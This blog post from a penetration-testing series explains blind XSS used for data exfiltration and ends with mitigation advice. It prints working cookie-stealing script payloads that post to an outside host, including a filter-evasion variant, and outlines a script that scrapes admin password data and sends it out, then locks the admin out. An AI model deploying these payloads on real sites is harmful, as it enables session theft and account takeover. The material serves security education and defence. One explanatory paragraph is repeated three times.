This website uses cookies

To provide the highest level of service we use cookies on this site.
Your continued use of the site means that you agree to their use in accordance with our terms and conditions.

Pentest Chronicles

Persistent threats via blind XSS and subsequent data exfiltration - tips and ticks from a security perspective.

`

SEBASTIAN JEŻ, KALINA ZIELONKA

February 05, 2024

Intro


A sneaky security threat that combines Blind XSS with data exfiltration techniques poses a significant risk, allowing adversaries to insert persistent HTML/JavaScript code that executes within the domain context of an application. This vulnerability can be exploited to steal any data from the application or perform actions on behalf of another user.

EXPLOITATION MECHANICS STEP BY STEP

Identifying blind XSS:

Blind XSS vulnerabilities are often found where user input is stored and later executed as a script in a different part of the application, typically inaccessible to the attacker. Identifying these vulnerabilities might involve careful code review (if possible) and testing for unexpected script execution in administrative or other backend interfaces.

Crafting stealthy payloads:

The attacker needs to construct a JavaScript payload that can evade detection and remain hidden until an administrator inadvertently triggers it. This requires a deep understanding of the application's input processing and filtering mechanisms.

For example, here is the original payload:

<script>
fetch('https://example.com/log', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({cookie: document.cookie})
});
</script>



Let's now assume some security mechanisms are implemented, which makes our original script useless. Then our script would look like this:

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://example.com/log', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
var encodedData = btoa('cookie=' + document.cookie);
xhr.send('data=' + encodeURIComponent(encodedData));
</script>


This adaptation helps with the following mechanisms:
Obfuscation: The script uses btoa() to Base64 encode the data, which might help to bypass filters looking for typical JavaScript patterns like document.cookie.

Change in Content Type: By changing the Content-Type to application/x-www-form-urlencoded, the payload disguises itself as a typical form submission, which might be less scrutinized by the filtering mechanisms.

Change in Content Type: By changing the Content-Type to application/x-www-form-urlencoded, the payload disguises itself as a typical form submission, which might be less scrutinized by the filtering mechanisms.

Encoding Data: The data is URI encoded with encodeURIComponent(), which can further help in evading simple filters that block raw cookie data. It's also about making sure the request was correctly received by the server.
Change in Content Type: By changing the Content-Type to application/x-www-form-urlencoded, the payload disguises itself as a typical form submission, which might be less scrutinized by the filtering mechanisms.

XMLHttpRequest Instead of Fetch API: Some applications might specifically look for the usage of the Fetch API in XSS payloads. By using XMLHttpRequest, the script adopts a different method to send the data, which might not be expected by the application's filters.


Leveraging user interaction:

Effective exploitation might involve subtle social engineering techniques to prompt an administrator to interact with the malicious script, leading to its execution.

Data exfiltration execution:

Upon execution, the script can exfiltrate sensitive data, such as internal documents or personal user data, to an attacker-controlled server.

Escalation:

The attacker can use patterns in user identification to escalate privileges and spread within the system. For example, the attacker uses the exfiltrated data (e.g., an admin's session token, including CSRF) to craft a malicious request that adds a new user under the attacker's control, effectively escalating their access within the application.

Securing unauthorized access:

Utilizing the exfiltrated data, the attacker can change passwords and gain full control over the environment. For example, the attacker, now with high privilleged user, changes the password of the original admin account, locking out the legitimate user and maintaining unauthorized access.

PROOF OF CONCEPT AND TECHNICAL STEPS

A practical exploitation would involve creating a JavaScript code that reads password values and transmits this data to an attacker-controlled server. The script includes the following:

Initiating a GET request:

Starting with a GET request to the CRM users' directory to fetch HTML content. For example: fetch('/admin/userlist').

Parsing the response:

Converting the server's response into text for processing. For example, using JavaScript's DOMParser to parse the fetched HTML content and extract data.

Extracting URLs:

Using regular expressions to extract passwords from the HTML content. For example, utilizing a regular expression like /getUserPassword=(\S+)/ to extract password from the response.

Collecting the data:

Combining the URLs into a string and creating a new request that includes them as query parameters to an attacker-controlled server. Crafting a payload that sends the extracted passwords to the attacker's server: fetch('https://example.com/?treasure= ' +extractedPasswords).

MITIGATION STRATEGIES

Input and output sanitization:

Implement strict input sanitization to prevent the storage and execution of malicious scripts. This includes encoding or filtering user inputs to eliminate script execution risks. It is also important to remember that data should be escaped according to the context in which they are embedded. From a pentester's perspective, each additional sanitization factor added forces the potential attacker to make a significant effort in constructing an appropriate payload. It may happen that despite finding a vulnerability, it is not possible to exploit it due to appropriate security measures.

Enhanced authorization checks:

Establish robust checks to ensure that only legitimate users can perform sensitive actions. This can be achieved through multi-factor authentication and more stringent access control measures.

Security awareness training:

Users and administrators should be educated on the dangers of social engineering and phishing, making them more vigilant about suspicious activities.

Secure identifier generation:

Review and improve ID generation processes to prevent attackers from predicting and exploiting them. Using non-sequential, unpredictable identifiers like UUIDs can add an extra security layer.

Content Security Policy (CSP):

Implementing CSP can help in preventing client-side attacks (for example XSS) by restricting the sources from which scripts can be executed and on what basis. From a pentester's perspective, very often developers ignore implementing it, assuming it is not so important.

Use of Web Application Firewalls (WAFs):

WAFs can provide an additional layer of defense by filtering out malicious traffic and blocking exploit attempts. From a pentester's perspective, there is a significant difference between testing an application with and without WAF implemented.

CONCLUSION

The Blind XSS vulnerability highlights the critical need for a multi-layered security approach. By adopting thorough input validation, strong authorization protocols, user education, and technological security factors like CSP and WAFs, organizations can better protect against sophisticated data exfiltration attacks and maintain the integrity and trust of their systems. It's important to remember the need to implement a function that displays a log of executed functionalities. So that it is recorded, for example, when data X has been downloaded, it should be visible in the application logs (not to be confused with server logs) that such user called function X. Regular security audits and proactive measures are key to defending against evolving cyber threats.



#Cybersecurity #BlindXSS #DataExfiltration #SecurityAwareness #TechInsights #PentestChronicles

Next Pentest Chronicles

When Usernames Become Passwords: A Real-World Case Study of Weak Password Practices

Michał WNękowicz

9 June 2023

In today's world, ensuring the security of our accounts is more crucial than ever. Just as keys protect the doors to our homes, passwords serve as the first line of defense for our data and assets. It's easy to assume that technical individuals, such as developers and IT professionals, always use strong, unique passwords to keep ...

SOCMINT – or rather OSINT of social media

Tomasz Turba

October 15 2022

SOCMINT is the process of gathering and analyzing the information collected from various social networks, channels and communication groups in order to track down an object, gather as much partial data as possible, and potentially to understand its operation. All this in order to analyze the collected information and to achieve that goal by making …

PyScript – or rather Python in your browser + what can be done with it?

michał bentkowski

10 september 2022

PyScript – or rather Python in your browser + what can be done with it? A few days ago, the Anaconda project announced the PyScript framework, which allows Python code to be executed directly in the browser. Additionally, it also covers its integration with HTML and JS code. An execution of the Python code in …

Any questions?

Happy to get a call or email
and help!

Terms and conditions
© 2023 Securitum. All rights reserved.